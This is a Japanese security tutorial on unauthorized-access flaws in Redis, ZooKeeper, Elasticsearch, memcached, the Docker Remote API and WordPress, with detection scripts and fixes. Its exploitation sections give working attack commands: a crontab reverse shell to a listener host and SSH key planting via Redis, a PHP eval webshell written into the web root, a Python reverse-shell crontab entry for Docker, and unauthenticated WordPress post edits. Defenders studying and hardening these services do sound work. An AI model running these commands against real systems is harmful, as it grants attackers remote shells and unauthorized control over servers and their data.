1 redis 未承認アクセス脆弱性#
1.1 脆弱性の説明#
- redis をインストールした後、デフォルトではアカウントとパスワードがありません。もし redis が root 権限で実行されている場合、リバースシェルを取得したり、ssh キーを書き込むことができ、サーバーの権限を取得される可能性があります。
1.2 脆弱性の検出#
import socket
host = "192.168.254.19"
port = 6384
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("INFO\r\n")
result = s.recv(1024)
print result//この部分はコメントアウトできます
if "redis_version" in result:
print "脆弱性あり"
クライアント接続テスト:
$redis-cli -h host -p port
>CONFIG get requirepass
1) "requirepass"
2) ""
説明:パスワードが設定されていないことを示し、デフォルトではパスワードがありません。
1.3 脆弱性の利用#
1.3.1 crontab を利用してリバースシェルを取得#
自分のサーバーでポートをリッスンする(10.0.0.2)
nc -lvnp 4444
コマンドを実行:
redis-cli -h 10.0.0.1
set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
1.3.2 ssh-keygen を利用して公鍵でサーバーにログイン#
利用条件:
1.redisが外部に開放されており、未承認アクセス(デフォルト設定)
2.サーバーのsshが外部に開放されており、keyでログイン可能
詳細な攻撃方法は以下の通り:
自分の公鍵を準備し、ローカルファイルtext.txtに書き込む。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2. redisを通じてそのファイルをメモリに書き込む
$ redis-cli -h 10.0.0.1 flushall
$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit
3. redis-cliを利用して設定の方法で公鍵を.sshディレクトリに書き込む
$ redis-cli -h 10.0.0.1
10.0.0.1:6379> config set dir /Users/nmask/.ssh/
OK
10.0.0.1:6379> config get dir
1) "dir"
2) "/Users/test/.ssh"
10.0.0.1:6379> config set dbfilename "authorized_keys"
OK
10.0.0.1:6379> save
OK
1.3.3#
web サービスの webshell を取得
redis の権限が低く、サーバーが web サービスを開いている場合、redis に web ディレクトリの書き込み権限があるときは、web パスに webshell を書き込むことを試みることができます。
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
説明:上記のコマンドを実行すると、シェルが web ディレクトリに書き込まれます。
1.4 脆弱性の修正#
redis のインストールディレクトリに移動し、redis.conf ファイルを設定します:
1、デフォルトではローカルのみ開放
bind 127.0.0.1
2、ログインパスワードを追加
requirepass AbcXXXX
3、外部に開放する必要がある場合はデフォルトポートを変更
port 2333
4、最後に iptables を使って開放を制限することもできます。
2 ZooKeeper 未承認アクセス脆弱性#
2.1 脆弱性の説明#
zookeeper をインストールした後、デフォルトではアカウントとパスワードがなく、権限の検証がありません。リモートで利用され、ターゲットサーバーから機密情報を収集したり、zookeeper クラスターを破壊される可能性があります。
2.2 脆弱性の検出#
#coding=utf-8
import socket
ip = "192.168.36.218"
port = 2181
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("envi")
result = s.recv(1024)
print result #詳細な返却を出力
if "zookeeper.version" in result:
print "脆弱性あり"
2.3 脆弱性の利用#
以下のコマンドを実行することで、そのサーバーの環境をリモートで取得できます:
echo envi | nc ip port
直接接続:
./zkCli.sh -server ip:port
2.4 脆弱性の修正#
1、Zookeeper を直接インターネットに公開しない
2、アクセス制御を追加し、状況に応じて対応する方法を選択(認証ユーザー、ユーザー名とパスワード)
3、指定した IP にバインドしてアクセス
3 Elasticsearch 未承認アクセス#
3.1 脆弱性の説明#
ELK はログ分析ツールで、デフォルトで 9200 ポートをリッスンしています。アクセス権限が設定されていない場合、不正にデータを操作される可能性があります。
3.2 脆弱性の検出#
import httplib, urllib
conn = httplib.HTTPConnection("192.168.254.56",9200, True, 10)
conn.request("GET", '/_cat/master')
resp = conn.getresponse()
print resp.status
if resp.status == 200:
print "脆弱性あり"
3.3 脆弱性の利用#
これは API に相当し、誰でもこのアドレスにアクセスすることで API を呼び出し、データの追加、削除、変更操作ができます。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river
3.4 脆弱性の修正#
1、ファイアウォールで 9200 ポートへの外部アクセスを禁止する。
2、Nginx を使用してリバースプロキシを構築し、Nginx の設定を通じて Elasticsearch の認証を実現する。
3、IP アクセスを制限し、固定 IP にバインドする。
4、config/elasticsearch.yml で 9200 ポートに認証を設定:
http.basic.enabled true #スイッチ、すべてのHTTP接続を引き受ける
http.basic.user "admin" #アカウント
http.basic.password "admin_pw" #パスワード
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
4 memcache 未承認アクセス#
4.1 脆弱性の説明#
memcached は一般的な key-value キャッシュシステムであり、権限制御モジュールがないため、攻撃者はコマンドインタラクションを通じて memcached 内の機密情報を直接読み取ることができます。
4.2 脆弱性の検出#
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("stats")
result = s.recv(1024)
if "STAT version" in result:
print "脆弱性あり"
4.3 脆弱性の利用#
nc -vv <target> 11211
説明:接続が成功すれば、memcached 内の機密情報を取得できます。
4.4 脆弱性の修正#
1、memcached をローカルアクセスのみに制限する
2、外部から Memcached 11211 ポートへのアクセスを禁止する
3、コンパイル時に–enable-sasl を追加し、SASL 認証を有効にする
5 Docker 未承認アクセス#
5.1 脆弱性の説明#
Docker Remote API は、リモートコマンドラインインターフェース(rcli)の代わりとなる REST API です。docker client または http を介して直接リクエストすることでこの API にアクセスでき、このインターフェースを通じて新しいコンテナを作成したり、既存のコンテナを削除したり、さらにはホストのシェルを取得することができます。
5.2 脆弱性の検出#
conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/containers/json')
resp = conn.getresponse()
if resp.status == 200 and "HostConfig" in resp.read():
print "脆弱性あり"
5.3 脆弱性の利用#
すべてのイメージを取得
http://host:2375/containers/json
getshell の方法は redis の利用とほぼ同じです。
5.3.1 cron タスクを利用してリバースシェルを取得#
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
5.3 脆弱性の修正#
1、必要のない場合は docker の remote api サービスを有効にしない。使用する必要がある場合は、以下の強化方法を採用できます:
ACL を設定し、信頼できるソース IP のみ接続を許可する;
TLS 認証を設定し、公式ドキュメントに従って Docker デーモンソケットを保護する。
2、クライアント接続時に以下の環境変数を設定する必要があります export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、docker api サーバーの前に nginx などのプロキシを追加し、401 認証を設定する。
6 wordpress 未承認アクセス脆弱性#
6.1 脆弱性の説明#
wordpress は未承認の攻撃者がこの脆弱性を利用して悪意のあるコンテンツを注入したり、権限を昇格させたり、記事やページなどのコンテンツを変更することができます。REST API は最近 WordPress 4.7.0 に追加され、デフォルトで有効になっています。
6.2 脆弱性の利用#
記事リストを表示:
GET /index.php/wp-json/wp/v2/posts HTTP/1.1
記事内容を変更:
POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{"title":"x x x x"}
説明:もし 401 が返された場合は権限がなく、変更できません;200 が返された場合は変更成功を示します。
参考記事#
https://www.secpulse.com/archives/61101.html
https://www.secpulse.com/archives/40406.html
http://www.freebuf.com/vuls/126120.html
https://thief.one/2017/12/08/1/